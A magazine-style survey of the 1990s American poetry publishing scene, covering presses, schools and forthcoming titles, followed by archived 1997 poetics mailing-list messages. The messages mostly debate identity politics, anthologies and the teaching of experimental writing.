THE DIFFERENT FACES OF POETRY "No one listens to poetry," complained the 1950's San Francisco poet Jack Spicer. While it still hasn't stormed the bestseller lists, at least today poetry is enjoying its broadest hearing in recent years. The sales climate is warming, greater numbers of books are being published, and more and more poetry-related events are popping up in the press. Says Bill Wadsworth, the Executive Director for the Academy of American Poets, "Poetry was strong in the culture in the 1960s and 70s, but by the mid-80s it had been eclipsed by commercial art, glitz. Since 1990 there's been a complete turnaround?people started looking for more than junk food."So what kind of poetic fare is in the offing? Certainly, there is something to please most every palate, from the most traditional to the most avant-garde. Poetry in America is a diverse, highly contested field, crowded with a variety of practices and

philosophies, none of which lend themselves easily to generalizations. How, for example, to classify Rafael Campo, an acclaimed gay Hispanic poet who writes often in formal verse? Or Allen Ginsberg, still as radical as in the heyday of the Beat movement, but also one of the most famous?and, relatively speaking, wealthiest?poets of his time? As literary critic and Stanford professor Marjorie Perloff points out, "Thirty years ago you had the establishment?Robert Lowell and Elizabeth Bishop?and the counterculture. Now you have endless overlapping, dispersed groups. There is no one movement; rather, there are many movements."The landscape of poetry publishing itself reflects and promotes this heterodoxy. The number of small presses in America has grown precipitously in the last three decades, fueled in part by advances in desktop publishing. The 1,127 volumes of poetry produced in 1996 were the offerings of a staggering 463 publishers, the majority of them independent and small presses. In such a climate, it is not hard to understand why there is no single poetic center of gravity, be it aesthetic, ideological, or even geographical.Buying patterns reveal a corresponding breadth of taste. "The poetry-reading audience has probably never been larger... or more decentralized and fragmented," says Poets House Executive Director Lee Briccetti. The "establishment" poets?those writers championed by the leading critics and literary magazines?predictably sweep the prestigious awards, but their sales that edge on their lower-profile brethren, from the avant-garde to the multicultural, are less dramatic. Where Ecco Press reports sales of 8500 for 1995's The Dream of a Unified Field, the selected poems of Pulitzer Prize-winner Jorie Graham, Curbstone Press can claim sales of 9000 copies of Poetry Like Bread, their 1993 anthology of leftist multicultural writings; Sun & Moon estimates 4000 copies sold of language poet Charles Bernstein's 1995 Dark City; and Incommunicado Press reports 5000 copies sold of punk rock poet Dave Alvin's 1995 Any Rough Times Are Now Behind You. "We're in a period of ferment," says Herb Lebowitz, editor of the poetry journal Parnassus. "There is no dominant voice, there is no dominant school, and in a way that's healthy for poetry."Certainly the relatively level playing field generates some interesting intrapoetry sparring. One of the most controversial movements is experimental poetry, particularly the segment that grew out of the so-called "Language" poetry of the 1970s and 80s. Hailed alternately as the future of poetry and a poetic dead end, Language poetry is dense, quirky, intellectual, and above all politically and stylistically radical, trading in the traditional poetic voice in favor of verbal collages and suggestive sentence fragments."We wanted to keep the language moving, changing and shifting, so it didn't become a dead thing," says Doug Messerli, who became involved with Language poetry while a graduate student in the 1970s and who now runs America's largest publisher of experimental writing, the Los Angeles-based Sun & Moon Press. In June Sun & Moon will bring out Republics of Reality, the latest collection by Charles Bernstein, who, with Bruce Andrews, is considered

one of Language poetry's founders (they co-edited the journal L=A=N=G=U=A=G=E, from which the movement derived its name) Other current writers closely associated with Language poetry include Susan Howe, Lyn Hejinian, Ron Silliman, Bob Perelman, and Leslie Scalapino, plus younger experimental writers such as Mark Wallace, Juliana Spahr (editor of the journal Chain), Lee Ann Browne (whose Sun & Moon collection Polyverse is due in May) and Rodrigo Toscano (a Chicano writer whose Sun & Moon collection The Disparities is due in August.)Good samplings of current Language and experimental writing can be found in the anthologies The Other Side of the Century: 1960-1990 (Sun & Moon) and Postmodern American Poetry (Norton). In 1997 Incommunicado plans to publish Tense Present, an anthology of West Coast Language and avant-garde writers.Other experimental presses include Black Sparrow, Roof Books, O Books, Wesleyan and Pittsburgh University presses, and the SPD-distributed Kelsey St., Tender Buttons, Burning Deck and Hanging Loose. Sun & Moon's annual Gertrude Stein Awards in Innovative American Poetry is Messerli's "alternative" to Scribner's more traditional annual, The Best American Poetry. (Says Messerli with cheerful resignation, "Innovative poetry always gets excluded, and that has always been the way.")Language poetry has found a warm reception in academic circles. Says Perloff, "We recently invited Susan Howe to Stanford, and the reception was just wonderful. That really encouraged me, and it seems to me that that's the direction that poetry is going."In other quarters, it has raised hackles. "Language poetry is highly personal, it's highly narcissistic, and it turns its back on the audience," says Robert McDowell, the publisher of Story Line Press. McDowell has conceived a rather radical response to what he sees as contemporary poetry's inaccessibility to the general reader. His press promotes the work of the so-called New Formalists, who use traditional verse forms like rhymed couplets and sonnets and often tell stories in their poems. "Narrative," says McDowell, "allows one to put together all the elements of both poetry and storytelling to create a more extended creative form." Prominent New Formalists include Dana Gioia, Brad Leithauser, and Mary Jo Salter, all of whom are included in Story Line's 1996 anthology Rebel Angels: 25 Poets of the New Formalism, edited by Mark Jarman and David Mason. The New Formalists are also showcased in the Hudson Review, a poetry journal edited by Frederick Morgan. New Formalism itself has not been immune to criticism: says Harvard professor and New Yorker critic Helen Vendler, "It's kind of a red herring?some of our best poets, like James Merrill and Elizabeth Bishop, wrote in both free and formal verse. It's not like it's an article of faith or a dogma."The vigor of the current spoken word/performance poetry scene owes much to Miguel Alarin and Bob Holman's "Poetry Slams" at New York City's Nuyorican Poets' Cafe. The movement has its roots in the theatrically charged 1960?s writings of Allen Ginsberg and African American writers Amiri Baraka andGwendolyn Brooks, and in the 1970s the movement

received additional impetus from poet David Antin's creation of the "talk poem." At a Nuyorican slam, poets recite their work and are then rated numerically by randomly selected audience members, although they are warned ahead of time that "the best poet always loses." (The poems are anthologized in Holt's 1994 ABA-winning Aloud: Voices from the Nuyorican Poets' Cafe.) Currently there are slams in over 30 cities advertised in 10 spoken-word newsletters. While the movement's vigorous, in-your-face style has brought poetry to the MTV generation, it receives scant respect in many sectors of the poetry industry. Louise Solano, the owner of the Grolier Bookshop, an all-poetry bookstore in Cambridge, Mass., spoke for many whom PW interviewed when she said that "I consider 'poetry slam' a contradiction in terms. That's not poetry?they're spoken-word performances. True poetry is about language, and it's meant to be read."Holman sees it otherwise. He is currently on leave from hosting slams to work at Mouth Almighty/Mercury Records, which he calls the "world's first poetry label," devoted exclusively to publishing albums of spoken-word performances."What people don't realize is the number of books that have been released through the generation that came through the slam," he says. "I don't see any other generation that has penetrated the publishing or music business the way that this crew has." Nuyorican Poets' Cafe alums include Paul Beattie (published by Penguin and Houghton Mifflin), Willie Perdomo (Norton), Hal Sirowitz (Crown), Dana Bryant (Boulevard) and Holman himself (Holt). Cafe alums with spoken-word CDs include Reg E. Gaines (who also wrote the book for the current Broadway hit Bring in ?Da Noise, Bring in ?Da Funk), Edwin Torres, and Maggie Estep, whose second album, Love Is a Dog from Hell, is due from Mouth Almighty in April. Mouth Almighty also recently released Allen Ginsberg's The Ballad of the Skeletons, which was an MTV Buzz Clip, and the soundtrack to Holman's 1996 PBS series The United States of Poetry (the tie-in book is available from Abrams).The spoken-word movement is closely allied with multicultural poetry. Miguel Alarin himself was a leading figure of the Nuyorican movement of the 1970s, which established a literature of Puerto Rican identity, and is currently an Arte Publico author. The prominent Hispanic poets Jimmy Santiago Baca (published by Curbstone Press) and Victor Hernandez Cruz (Coffee House Press) are also performance poets, as is the African American poet Wanda Coleman (Black Sparrow). The connection is partly an outgrowth of multicultural and spoken-word poetry's shared roots in the radical political tradition of Baraka and Brooks; for certain African American writers, it is also a reflection of the importance of jazz and blues both as artistic heritage and as source of poetic rhythms."In black poetry, we have always been very close to the musicians and the music," says Haki Madhubuti, the publisher of the Chicago-based Third World Press, America's largest African American press, who also plans to begin "publishing" CDs this year. Madhubuti, who founded the press 30 years ago with $400 and a mimeograph machine, is the

exclusive publisher of Gwendolyn Brooks, and has also published Gil Scott-Heron and Sonia Sanchez. His poetry titles for 1996 included The Sandman by Sterling Plumpp, whose work was included in The Best American Poetry of 1996. Other African American writers have found homes at a variety of presses, large and small. Reginald Shepherd, a prize-winning gay poet whose work has been singled out for praise by Vendler, published his most recent collection, Angel Interrupted, in 1996 with the University of Pittsburgh Press. Nathaniel Mackey, whose poems draw on African rituals, folk wisdom and jazz rhythms, publishes with Sun & Moon and Coffee House. Former Poet Laureate Rita Dove publishes with Norton. Forthcoming 1997 African American poetry titles include Sonia Sanchez's Does Your House Have Lions (Beacon, Apr.); Maketa Grove's Red Hot on a Silver Note (Curbstone, May); Dark Eros, an anthology edited by Reginald Martin (St. Martin's,Aug.); The Collected Poems of Audre Lord (Norton, Aug.); Last Chance for Tarzan Holler, by MacArthur Award-winning Thylias Moss (Persea Books, Sept.); and From the Devotions, by NBCC Award and Lambda Award finalist Cary Phillips (Graywolf, Nov.).In Hispanic poetry, notable presses include Curbstone Press, Bilingual Press, Arte Publico, and White Pine Press.Curbstone, founded in 1975 by Sandy Taylor and his wife, Judith Doyle, promotes Latino and Chicano writers and publicizes human rights abuses in Central America. Says Taylor, "We publish poetry that is accessible, and deals with human issues in daily life, like poverty and political oppression." Curbstone's authors include NBCC Award-winning Puerto Rican poet Martin Espada (whose fifth collection, Imagine the Angels of Bread, will be published by Norton in April); experimental Latino poet Juan Felipe Herrera; and Daisy Zamora, featured on Bill Moyers's 1995 PBS series, The Language of Life. Set for April publication is Song of the Simple Truth: The Complete Poems of Julia de Burgos.Bilingual Press and Arte Publico are both active in the flourishing Southwestern Chicano literature scene, which began in the 1960s in the context of the Chicano civil rights movement. Says Bilingual Press managing editor Karen Van Hooft, "U.S. Latino poetry is a very active field?there's a lot of publishing going on, and the best-known poets are in a lot of demand for appearances and readings." Bilingual Press published prominent Chicano poet Alurista's Et Tu... Raza? in 1996, and has previously published Espada, Puerto Rican poet Judith Ortiz Cofer and Demetria Martinez, who is included in their popular anthology Three Times a Woman: Chicana Poetry. Arte Publico is home to the experimental Miguel Alarin, and published Rafael Campo's first collection, The Other Man Was Me, winner of the 1993 National Poetry Series' Open Competition. Forthcoming 1997 collections by Hispanic writers at other houses include the paperback edition of Chicana writer Pat Mora's Agua Santa: Holy Water (Beacon Press, May); Chicano poet and National Book Award finalist Gary Soto's Junior College (Chronicle Books, Apr.); and Mexican poet Jose Emilio Pacheco's City of Memory and Other Poems, a bilingual edition from City

Lights (Apr.).A notable independent publishing house with a broadly multicultural list is Minneapolis's Coffee House Press. Says publisher Allan Kornblum, "We still publish as many white writers as ever, but our growth has been in the multicultural area." Coffee House poets include Adrian Castro, an Afro-Cuban writer who came out of performance poetry; Native American writer and NBCC-finalist Linda Hogan; and African American writer and NBCC-finalist Quincy Troupe, whose collection Avalanche appeared last spring. On Coffee House's upcoming publishing schedule is Drawing the Line (Apr.) by Japanese American poet Lawson Fusao Inada, and Sacred Vow, a bilingual collection by Cambodian poet U Sam Oeur. "One of my goals as a publisher is to expand the sense of what we mean when we say 'we,' " says Kornblum.A trend among some ethnic poets is a growing dissatisfaction with the category "multicultural" itself. Reports Sun Young Li, associate editor at the experimental, New York City-based Asian American publishers Kaya Publications: "All of our poets are moving beyond the issue of identity. It's a phase people have to go through, but it's ultimately limiting. The writers at Kaya are much more concerned with aesthetic, literary and political issues." Kaya's 1995 anthology Premonitions included gay and lesbian, Buddhist, Language, Vietnamese American, and Korean American poets, and was intended as a counterpart to Doubleday's more traditional The Open Boat: Poems from Asian America (1993).A similar theme is voiced by certain lesbian and gay writers. Mainstream poets such as Adrienne Rich (who is published by Norton) and Mark Doty (HarperCollins) dominate book sales and literary awards, while their experimental counterparts struggle for reviews and shelf space. "If you're gay and avant-garde, you suffer from a double invisibility," says Eileen Myles, who recently edited The New Fuck You, an anthology of gay and lesbian writing from Semiotext Press. On the other hand, notes Myles, moving beyond the expected has its rewards. "What's really exciting is that we're in this atmosphere of no 'nos.' Who's driving the car of the culture? Me, you? There's such a sea of possibilities."Myles herself is associated with the experimental New York School, which was developed in the 1950s by the poets John Ashbery, Kenneth Koch, James Schuyler and Frank O'Hara. It is identified with a casual, spontaneous style, a foregrounding of personal material and an urbane wit and sophistication. Second-generation New York School writers include the late Ted Berrigan, Ron Padgett, Alice Notley and Bernadette Mayer. (Myles's latest collection, School of Fish, is due from Black Sparrow Press in April.)Upcoming gay and lesbian poetry titles for 1997 include Things Shaped in Passing: More 'Poets for Life' Writing from the AIDS Pandemic, edited by Michael Klein and Richard McCann (Persea Books, Mar.); Telling Things, by Michael J. Rosen (Harcourt Brace, Apr.); Selected Poems: Revised and Enlarged by Robert Duncan, also associated with the Black Mountain School (New Directions, Apr.); Cold River, by Joan Larkin (Painted Leaf, Oct.); and Beautiful Signor, by Cyrus Casselly, winner of the Poetry Society of America's 1994 William

Carlos Williams Award (Copper Canyon, June). Recently published titles include an expanded, bilingual edition of Colombian poet Jaime Manrique's My Night with/Mi Noche Con Federico Garcia Lorca (Painted Leaf).Several major Beat poets are still actively publishing. In May New Directions will bring out A Far Rockaway of the Heart, by Lawrence Ferlinghetti, a follow-up to his 1958 classic, A Coney Island of the Mind, as well as two new selections of the work of Denise Levertov. Black Sparrow will publish Ed Sander's 1968 in June (and, in March, Bone Palace Ballet, a new collection by recently deceased L.A. literary icon Charles Bukowski). In November, Hanging Loose Press presents Hettie Jones's Driver Lover Witness Woman. Prominent 1996 Beat titles included Allen Ginsberg's Selected Poems 1947-1995 (HarperCollins) and Gary Snyder's Mountains and Rivers without End (Counterpoint).America's "establishment" poets have, of course, significantly participated in and contributed to the aesthetic currents animating the other poetic schools.Jorie Graham, for example, writes poetry with some philosophical affinities to the work of John Ashbery. (Ashbery himself, probably America's most celebrated experimental poet, publishes with Farrar, Straus & Giroux, Knopf and Ecco Press.) Knopf's Anne Carson incorporates prose sections into her work, stretching the conventional definition of a poem. And Farrar, Straus & Giroux's August Kleinzahler writes in a direct, colloquial voice that is a far cry from the formal diction and abstruse vocabulary of traditional "high" poetry. What sets mainstream poetry apart from other forms is its reliance on a coherent central viewpoint, or "I"; its largely conventional syntax; and its generally muted political stance. It has also been criticized by poets such as Adrienne Rich for resisting ethnic voices.But Jonathan Galassi, the editor-in- chief of FSG argues that a poet doesn't have to be explicitly "experimental" to be progressive. "You can have new things in old boxes," he says. "Sometimes the poets that seem the most traditional are actually the most innovative."FSG's poetry program includes Nobel Prize Laureates Seamus Heaney, Derek Walcott, Joseph Brodsky, Irish poet Paul Muldoon (whose new collection, Kerry Slides, was published by Dufour Editions in February), Gertrude Schnackenberg, Charles Wright and C. K. Williams. FSG?s 1997 titles include Black Zodiac, by Lenore Marshall Award-winner Charles Wright (Apr.);the paperback of last year?s hardcover editon of The Figured Wheel: New and Collected Poems by Robert Pinsky (Apr.); and Desire, by Frank Bidart (Sept.).Norton boasts the likes of two-time NBA-winner Stanley Kunitz, Gerald Stern, Rita Dove, Stephen Dunn, Martin Espada (see above), A. R. Ammons (whose new long poem Glare is due in July), and Maxine Kumin (whose Selected Poems is due out in May) on its poetry list. Says editor Carol Houk-Smith, "I publish what I love, and I don't think about schools at all." Norton editor Jill Bialosky, whose authors include lesbian writer Marilyn Hacker, Irish writer Eavan Boland, James Lasdun (whose collection Woman Police Officer in Elevator appeared in February), says she is especially pleased to be bringing second

books by Janet Sylvester (The Mark of Flesh, June) and Marie Howe (What the Living Do, Nov.) in 1997. "Unlike in fiction, where it is often the first novel that is really exciting, it takes a little bit longer for a poet to establish him or herself," she says. "Usually by the second or third book you begin to see an audience for that poet." (Bialosky is also a poet in her own right; her first collection, The End of Desire, is due from Knopf in March.)Knopf editor Harry Ford finds that author appearances are the best way to promote their poetry books. "We ask poets to read for us as much as possible," he says. "We don't tour them like a big-time author, because we just don't have the money, but there are many cities that welcome poets and have reading series." Knopf's list includes W. S. Merwin, Donald Justice, and Lucie Brock-Broido; in February they published Edgar Bowers's Collected Poems and Marge Piercy's What Are Big Girls Made Of?, and in October they will release The Collected Poems of Amy Clampitt.Ecco Press has a heavily international list?Louise Gluck, Poet LaureateRobert Hass, James Tate, Swedish poet Tomas Transtromer and Czech poet Czeslaw Miloz?to rival that of a major publisher, even though it is an independent press, located in Hopewell, N.J. Publisher and poet Daniel Halpern argues that there are advantages for poets to working with a smaller house: "We try to publish poets continuously, book after book, which is something the bigger houses don't always do." The sentiment is echoed by Sam Hamill, the publisher of Copper Canyon, one of the few presses in America devoted exclusively to poetry. Says Hamill, "In New York publishing, the poetry is at the very bottom of the list. We felt that if we could produce a beautiful edition of something and keep it at a reasonable price, we could keep it in print longer." Copper Canyon's eclectic list includes Hayden Carruth, the Pulitzer Award-winning Carolyn Kizer and Greek poet and Nobel Laureate Odysseas Elytis.Not everyone associated with establishment poetry is defensive when questioned about the relative lack of experimental and ethnic writers in the mainstream. Wadsworth, whose academy administers some of America's biggest poetry prizes, has sometimes been accused of being part of an "official verse culture," but it doesn't bother him. "When the academy was founded [in 1934], the whole point was to take some poets who were not established and establish them," he says. "If we've succeeded in that, we're glad. The misconception is that we're in some kind of competition with people who are not established."Myles, for one, is optimistic that today's open climate will eventually bring poetry's more marginal movements greater recognition. "The big houses are starting to look to the small houses for inspiration," she says. "And that's good news for everyone."

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279. F.A. Templeton
Re: [Fwd: CCCP]
Wed 12 Mar 1997

> *is there a email contact for this conference?*
>
> *mark*

Mark, I'll get numbers for Ian Patterson and Rod Mengham if they use them. Meanwhile, you can try through me, as I'm partly involved and close by in Cambridge.

Fiona Templeton

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280. F.A. Templeton
Re: "deeply disturbed"/Retallack essay
Wed 12 Mar 1997

Jena:

Who are the publishers? Know whre it's available?

Fiona

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281. Joseph Zitt
Re: suspended music
Wed 12 Mar 1997

KENT JOHNSON wrote:

> *There used to be a magazine called _Ear_ devoted to new music--is there anything out there comparable?*

There are a few: I religiously read Musicworks (from Canada), Wire (from England), and various stuff online, such as the ezine Juxtaposition.

I had a few pieces in Ear, long ago; it was a very cool magazine, and I wish it had survived. -- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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282. **F.A. Templeton**
Re: "deeply disturbed"
Wed 12 Mar 1997

On Tue, 11 Mar 1997 [redacted] wrote:
> at the same time, *as a teacher*, i find mself in a difficult situation
> when my white male students bring in their more experimental writing, rife
> with distended phalli, as exemplary moments in contemporary poetry.....
if i rail against the unsubtle identity
> gendering of male fantasy driven work, regardless how aesthetically
> informed, then should i likewise rail against the unsubtle essentializing
> of experience in the work of african-american women?... whereas the former
> usually reinforces an existing power relationship, the latter seems on the
> surface of things to act as a sort of corrective, at least short-term

and more with which you qualified this, I know, as below and in later posts, but:
1. to you: "exemplary moments in contemporary poetry" ???

2. in general: Isn't it not just that you have to do both, as you answer yourself, but that the macho dimension you're talking about and/or its converses is actually informing the sense of what experiment is for and is? And that much as we may like messing about in the matter of our art, doesn't "aesthetic" become limited to pretty reshuffle or stylistic look-alike if that poetic matter isn't a vehicle for being able to see anew in all senses? My terms aren't rigorous here either, I just think the question is important.

> *to flip things around, from a more nurturing pedagogical perspective: do i credit the aesthetic in the former, ignoring the more macho dimension?... and do i credit the identity politics of the latter, and ignore the aesthetic dimension?...*
>
> *clearly, it seems to me, i need to do BOTH, somehow... i need to help students grasp the gendering of the former, the ways the aesthetic at times trivializes same, and the aesthetic simplicity-qua-simple identity of the latter... i need to discuss both the sociopolitical/cultural *work* done by the poems in varying communities, and the ways in which the aesthetics *work* or don't in this process of meaning-making, of valuing and revaluing... as contributors to this meaning-making process (along with human beings, i mean), poems can work to produce mean-spirited de- and connotations quite effectively, or well-intended de- and connotations not so effectively (in tech. writing, incidentally, you can supplement "mean-spirited" and "well-intended" with "inaccurate" and "accurate")... but the field of meaning and possibility, the discourse of poetry, is such that one's attention is (or should be) drawn not only to various connotations, but to effectiveness (yeah, i'm slipping & sliding on a form/content dualism here, and i'm using "effectiveness" itself to denote*

> *aesthetic efficacy, but i trust i'm making my point)...*

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283. Christina Fairbank Chirot

Joyeux Fetes Jack Kerouac

Wed 12 Mar 1997

HAPPY BIRTHDAY FOR JACK KEROUAC--

No. 75--

Then over the bridge, the flash and
Au nom du Pere mystery of oncoming car lights(something a
Ma tante Cafiere writer using words can never quite get), the
Pistalette de bois sense of old wooden jetties however unphoto-
Ainsi soit-il! graphable far below roting in the mud and
bushes, the old Potomac into Virginia, the
(Visions of Gerard) scene of old Civil War battles, the
crossing into the country known as The
Wilderness, all a sadness of steel a mile longnow as the
waters rollon anyawy, mindless of America's mad invention,
photographs,words.
(On the Road to Florida)

WHO WALKS IN HIDDENESS HAS LIGHT TO GUIDE THEM
(Chuang Tzu)

river turning edge again
fills the road give glance
restless
heart

sing waiting music
journey day feeling sun
sang away comes out

find cave jukebox
shadow
walls tell pictures
make visible mysteries

wind rock grass bright liquid dusk
tunes incantations
dust snowy
away outside
road halo

quickened hurry slow film visual words
EVERYTHING-
one giant drop ness
hands held parted road arrowing
waters immensities
quartering
night
sky tree guitar star

(1st three lines words from Han Shan
all other words from Emily Dickinson & Jack Kerouac
arranged dbc)

"He Honored Life"

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284. **David Kellogg**
Re: "deeply disturbed"
Wed 12 Mar 1997

On Wed, 12 Mar 1997, Maria Damon wrote:

> *i've been staying out of this one cuz it seemed like same old same old, but i feel the need to ask: were identity politics *not* a part of what kept women/folks of color *out* of the job market for so many years? did we invent identity politics? have they not always been a part of determining who gets what? why is it only a "problem" when normative identity's (ie.e straight white male etc) normativity is called into question? and for that matter, why have "identity politics" suddenly become such anathema, as if they were essentialist in nature? compare income levels, education levels, life opportunity levels of people of different "identities" and it seems that there might actually be a need to talk about it.*

Oh, absolutely, I'm totally in agreement with you. I guess I was using "identity politics" in the narrower sense that Marjorie put forward, in terms of something that has just emerged ("the coming of the minority communities" etc.). Of course, you're right, this very narrowing, or exclusion of normative identity from the discourse, is part of the political game that's played.

> *When Marjorie indirectly suggests that I'm too sympathetic to identity politics, that I've somehow bought into the rhetoric of that whole line of thinking, I want to laugh -- she should sit in on some of my interviews.*
>
> *david i don't see any reason why you should apologize for noticing that there is social stratification in this country based on certain demographic factors, and for thinking it might be not okay. i *do* see a problem with people's knee jerk reaction to attempts to talk about politics on this list.*

I'm not apologizing for that. Fer sure. I was thinking of certain kinds of questions I get in interviews that are difficult to answer because of a difference in vocabulary & critical syntax. Not really worth going into on this list, but -- to put it generally -- the repeated pattern of those questions indicates how my work's failure to adhere to a certain _disourse_ of cultural identity is taken in interviews to indicate resistance to multiculturalism as such. Which couldn't be farther from the case, since my work is (in my estimation) as relativist as they come.

Cheers,
David
~~~
~~~

> *modernism (not speaking for joe but for myself)*
> *implies this kind of dilemma in teaching*
> *writing, as does, more generally, an interest*
> *in the cultural work of different writings. the*
> *apples & oranges approach just doesn't make*
> *sense to me; it seems to point up the basically*
> *New Critical assumptions that underlie most*
> *american creative writing workshops.*
>
> *best, chris*
> *..*
> *christopher alexander, etc.*
> [redacted]
> *(Marriott Library Computer Systems)*
>
> *language code not found. illegal operation error.*
> *this program will shut down, & all unsaved data will be*
> *lost. if problem persists, consult your systems operator.*

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286. **Joseph Lease**
Re: "deeply disturbed"
Wed 12 Mar 1997

---

what is Eavan Boland doing among bay area experimental communities: please inform

On Tue, 11 Mar 1997, Robert Archambeau wrote:

> *i don't mind saying *here*, anyway, that it's pretty easy to be*
> *misunderstood when one slams the writing of a minority poet, however*
> *justifiably... but i don't mind saying *here*, as well, that i've noted a*
> *tendency at times on poetics to be down on more conventional work, even*
> *more conventional work that, imnsho, is exemplary*
>
> *Joe:*
>
> *I sympathize with you in both of your conundrums.*
>
> *Regarding the first dilemma (good politics and bad aesthetics) :*
>
> *What can you do with writing that is at the same time politically astute*
> *or important and also the worst sort of kitsch? Your painstaking*
> *process of discussing "both the sociopolitical/cultural *work* done by*
> *the poems . . . and the ways in which the aesthetics *work* or don't"*
> *seems like the only reasonable way to treat the topic, better than an*

> *easy dismissiveness based on either political or aesthetic grounds.*
>
> *Regarding the second (exemplary conventional work):*
>
> *The issue you raise is important, and deserves extended discussion on this list. Eavan Boland, widely considered to be both conventional and exemplary, and now working among the Bay area's experimental community, put the problem this way in a recent interview (forthcoming in the next Notre Dame Review http://www.nd.edu/~english/ndr/ndr.htm):*
>
> *"The issue in poetry is not the multiplication of poetries. It's the fact that there isn't yet a language of respect between these poetries."*
>
> *And the solution she advocates involves a painstaking process like that you advocate for the first of your two dilemmas:*
>
> *"I think one of the new tasks of workshops everywhere over the next decade is going to be to widen their vocabulary not just to speak about poetry, but to engage with, and develop a language of respect for the energies of other communities and other ideas of craft. The alternative is just sterile division . . ."*
>
> *This list seems like the right venue for notes toward such a language.*
>
> *It will be a good interview to check out when it appears in the next issue (and I'm not just saying that because I conducted it).*
>
> *Robert Archambeau*

↑ Index

287. **Jordan Davis**
Re: "depply disturbed"
Wed 12 Mar 1997

hapy typeo -- _disourse_ -- J

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288. **Joseph Lease**
Re: "deeply disturbed"
Wed 12 Mar 1997

it seems to me that it would be better to do away with the Norton and just work to develop a consensus around demystifying anthologies (there is no one anthology nor should there ever be one or one that pretends to be one) than to fight to get token language poets into the Norton (the old Norton obviously I don't

mean Paul Hoover's Norton: I mean it is nostalgic even to worry about some anthology claiming to be central): teachers do tend to want anthologies but it gets less and less likely that they can claim to be covering modern poetry by using any anthology

On Tue, 11 Mar 1997, David Kellogg wrote:

> *Dear Marjorie (and others who may be listening),*
>
> *If I'm your antagonist, I am indeed a friendly one. I neither intended to nor in fact did imply that you were a racist. I'm happy to read what you wrote, however, though I'd enourage the same from you ;-). I think we can start to talk to (rather than past) each other.*
>
> *So let's focus on the particulars you quote from your article:*
>
> *What I say, for the record, is that, whereas in 1959 Don Allen could put together an anthology of "the" new American poetry, an anthology that pretty accurately pitted the counterculture against the establishment, in the 1990s, there can no longer be ONE counterculture anthology and so attempts to produce one that is "the" avant-garde can't wholly succeed.*
>
> *OK fine. Here I'm totally in agreement with you (and think the major thrust of your argument quite on target).*
>
> *And I write:*
> *"More important: the eightiies witnessed the coming of the minority communites. . . In their inception, many of these poetries were, ironically, quite conservative so far as form, rhetoric, and the ontology of the poem were concerned. But counterculture poets and critics couldn't--and still can't--say this out loud because they would have immediately been labeled racist or sexist. And thus the picture has become increasingly clouded. " and then I go on to complain about the absence of all but U.S. poets in most of the new anthologies.*
>
> *First: "the eighties witnessed the coming of the minority communities." I honestly don't know what this means; I can't hold it in my head, it just drains out between my skullplates. Are you saying that there weren't minority communities before the eighties? Or just that there weren't minority POETRY communites? Or that these communities hadn't "come" (to maturity, to coalescence, etc.)? None of these interpretations seem to me satisfying, because none of the assertions that result are, so far as I can tell, true. I'm not trying to bait you, honestly; I simply can't see what that sort of generalizaion means, nor what its point is.*
>
> *Second: "In their inception, many of these [minority community] poetries were, ironically, quite conservative so far as form, rhetoric, and the ontology of the poem were concerned. But counterculture poets and critics couldn't -- and still can't -- say that out loud because they would have*

immediately been labeled racist or sexist." Agreements: that many of these poetries were conservative in the ways you mention. Disagreements: 1) that this formal conservatism is ironic in any sense whatsoever; and 2) that you can't say these poetries are conservative (etc.) without being labeled racist or sexist. I certainly labelled you neither, neither on this list nor in my article.

Now David perfectly proves my point by implying I'm somehow making a racist statement.

You are reading into (as opposed to "not reading") what I wrote. What I wrote was that the pluralism of your approach is in tension with the exclusivity of your actual critical practice. This seems to me a perfectly reasonable critique to make. Sure I find this disturbing; but not because I think you're a racist (I don't) -- rather, because of the slippage that comes into play in passages like the one that follows:

What I meant, of course, is that the mainstream anthologies today like the Norton will include a lot of, say Rita Dove, because she's a black woman when the Norton doesn't even include Zukofsky, Reznikoff etc. not to mention Harryette Mullen, Erica Hunt, Will Alexander, or Charles Bernstein, Susan Howe, Lyn Hejinian--well, the list goes on and on, right? This is where identity politics does indeed cloud the picture because if you object to these inclusions or exclusions you are immediately branded.

"Inclusions or exclusions." This is not a symmetrical complaint. The complaint about exclusions is well taken, and I'm wholly on your side in that struggle. The complaint about inclusions is where I think your pluralistic stance conflicts with your practice. Mullen, Hunt, et al. are not excluded because Rita Dove is included. (Nor do I think it fair to say that the Norton includes "a lot of . . . Dove, because she's a black woman," barring evidence to support that assertion.) Giving Dove less space will do not one damn bit of good in making more space for Zukofsky, Howe, or Bernstein.

What I'm trying to say, badly probably, because email is not the easiest writing venue, is that, yes, I am opposed to identity politics in its crude form and no, that doesn't make me a racist, and if we want to be political, let's be political and try to do something about what is happening in Washington.

1) identity politics: I do am opposed to "its crude form," but I think such opposition must not be crude either;

2) that doesn't make you a racist. Agreed (never thought otherwise);

3) politics: it's all over the place, both in Washington and in the poetry

> *community etc. But I'd append also: If we want to do something about excluded poetry, let's not act as though the currently included poets are the problem. If we want diversity, let's have diversity, and not some revised Norton.*
>
> *I don't really have any response to your comments on Dorn, because (except for one moment at its inception) I did not really participate in that thread.*
>
> *I hope this is helpful in clarifying our disagreements.*
>
> *Cheers,*
> *David*
> *~~~

> *jobs I've come close to getting but didn't, some offers were made where the applicant's gender, race, and/or investment in identity politics were at issue. But so what? I guess what I'm trying to say is that it would be easy -- too easy -- to blame this situation on dominance of identity politics. There are a lot of other factors at stake, including the funding of jobs in general, resistance to contemporary work, resistance to the kind of criticism/sociology/theory that I do (esp. with regard to contemporary poetry), etc.*
>
> *When Marjorie indirectly suggests that I'm too sympathetic to identity politics, that I've somehow bought into the rhetoric of that whole line of thinking, I want to laugh -- she should sit in on some of my interviews.*
>
> *With regard to binaries, a crude opposition to identity politics that assigns "it" (whatever "it" is) blame for whatever situtation (my lack of a job, certain poets' exclusion from the Norton or some other standard anthology) -- in their binary opposition, both submit to a zero-sum-game view of poetic value. If my poet's in, somebody else has got to leave. There ain't room in this town . . .*
>
> *Can't we get beyond that?*
>
> *Cheers,*
> *David*
> *~~~

